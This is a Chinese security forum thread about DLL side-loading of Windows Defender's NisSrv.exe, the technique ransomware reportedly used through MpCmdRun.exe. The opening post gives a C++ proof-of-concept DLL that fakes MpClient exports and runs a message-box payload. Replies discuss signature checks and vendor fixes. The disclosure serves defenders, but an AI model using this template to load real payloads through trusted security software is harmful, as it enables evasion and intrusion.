查看: 2334|回复: 7
收起左侧

[其他相关] Windows Defender的DLL劫持

[复制链接]
Jirehlov1234
发表于 2022-8-2 07:12:13 | 显示全部楼层 |阅读模式
前段时间不是有个Lockbit勒索通过白加黑MpCmdRun.exe来下发cs远控的新闻嘛https://bbs.kafan.cn/thread-2240444-1-1.html

今天刷推发现不止MpCmdRun.exe可以被利用,NisSrv.exe也行(https://twitter.com/Sh0ckFR/status/1554021948967079936

  1. #include <windows.h>

  2. #pragma comment (lib, "User32.lib")

  3. int Main() {
  4.     MessageBoxW(0, L"DLL Hijack found!", L"DLL Hijack", 0);
  5.     return 1;
  6. }

  7. BOOL APIENTRY DllMain(HMODULE hModule,
  8.     DWORD  ul_reason_for_call,
  9.     LPVOID lpReserved
  10. )
  11. {
  12.     switch (ul_reason_for_call)
  13.     {
  14.     case DLL_PROCESS_ATTACH:
  15.         
  16.     case DLL_THREAD_ATTACH:
  17.     case DLL_THREAD_DETACH:
  18.     case DLL_PROCESS_DETACH:
  19.         break;
  20.     }
  21.     return TRUE;
  22. }

  23. extern "C" __declspec(dllexport) void MpConfigClose(){}
  24. extern "C" __declspec(dllexport) void MpConfigGetValueAlloc(){}
  25. extern "C" __declspec(dllexport) void MpHandleClose(){}
  26. extern "C" __declspec(dllexport) void MpNotificationRegister(){}
  27. extern "C" __declspec(dllexport) void MpManagerOpen(){}
  28. extern "C" __declspec(dllexport) void MpFreeMemory(){}
  29. extern "C" __declspec(dllexport) void MpConfigUninitialize(){}
  30. extern "C" __declspec(dllexport) void MpConfigOpen(){}
  31. extern "C" __declspec(dllexport) void MpConfigInitialize(){}
  32. extern "C" __declspec(dllexport) void MpClientUtilExportFunctions(){}
  33. extern "C" __declspec(dllexport) void MpUtilsExportFunctions(){ Main(); }
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
tdsskiller
发表于 2022-8-2 08:11:17 | 显示全部楼层
枪打出头鸟,wd再吹几次世界第一就会有360的同等待遇
pal家族
发表于 2022-8-2 11:35:52 | 显示全部楼层
杀软加载dll不做验证?
tdsskiller
发表于 2022-8-2 12:24:45 | 显示全部楼层
本帖最后由 tdsskiller 于 2022-8-2 12:27 编辑
pal家族 发表于 2022-8-2 11:35
杀软加载dll不做验证?

一般都是拿某些老版本,或者被人玩明白了知道怎么绕过验证
一般你越宣传越出名,大家都来针对你,全世界都来针对你,谁都顶不住
pal家族
发表于 2022-8-2 12:34:50 | 显示全部楼层
tdsskiller 发表于 2022-8-2 12:24
一般都是拿某些老版本,或者被人玩明白了知道怎么绕过验证
一般你越宣传越出名,大家都来针对你,全世界 ...

战吗?
wowocock
发表于 2022-8-2 17:04:10 | 显示全部楼层
tdsskiller 发表于 2022-8-2 12:24
一般都是拿某些老版本,或者被人玩明白了知道怎么绕过验证
一般你越宣传越出名,大家都来针对你,全世界 ...

类似的问题,360在差不多10年前就完全处理了下,禁止任何导入表加载DLL,所有加载DLL,全部动态加载,并在加载前,验证360内部签名,不通过,不允许加载(360自身的加载库实现,所以对后续开发者没增加工作量),所有发往360驱动的请求,也全部验证360内部签名及特定路径。微软明显没被白利用坑过,还犯低级错误。
tdsskiller
发表于 2022-8-2 17:34:45 | 显示全部楼层
wowocock 发表于 2022-8-2 17:04
类似的问题,360在差不多10年前就完全处理了下,禁止任何导入表加载DLL,所有加载DLL,全部动态加载,并在 ...

但是还是要小心外{过}{滤}挂那种赚空子,EAC都被人干穿过:https://back.engineering/10/08/2021/
ANY.LNK
发表于 2022-8-13 00:52:20 | 显示全部楼层
wowocock 发表于 2022-8-2 17:04
类似的问题,360在差不多10年前就完全处理了下,禁止任何导入表加载DLL,所有加载DLL,全部动态加载,并在 ...

微软其实被这个问题坑过不止一次了,他们还发过对应的分析报告。之前利用的一般为旧版本的MsMpEng.exe,后来微软在MsMpEng.exe上加了加载组件签名验证,说可以解决,但之后又被发现修的不彻底,在更新时仍存在被利用的可能(目前这些已知问题已被修复,但不知道还有没有其它的)。

PS:早期微软Defender使用的是系统的svchost.exe作为各组件的加载载体,是属于高度不可移植的组件,可能在设计之初微软就没有考虑过这方面的dll侧载攻击,原始设计在当时被特定劫持的可能性也不大。再后来和MSE合并,分离出MsMpEng.exe,NisSrv.exe来,最开始也没重视这些问题,最后就出事了
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-4-11 18:47 , Processed in 0.090612 second(s), 3 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表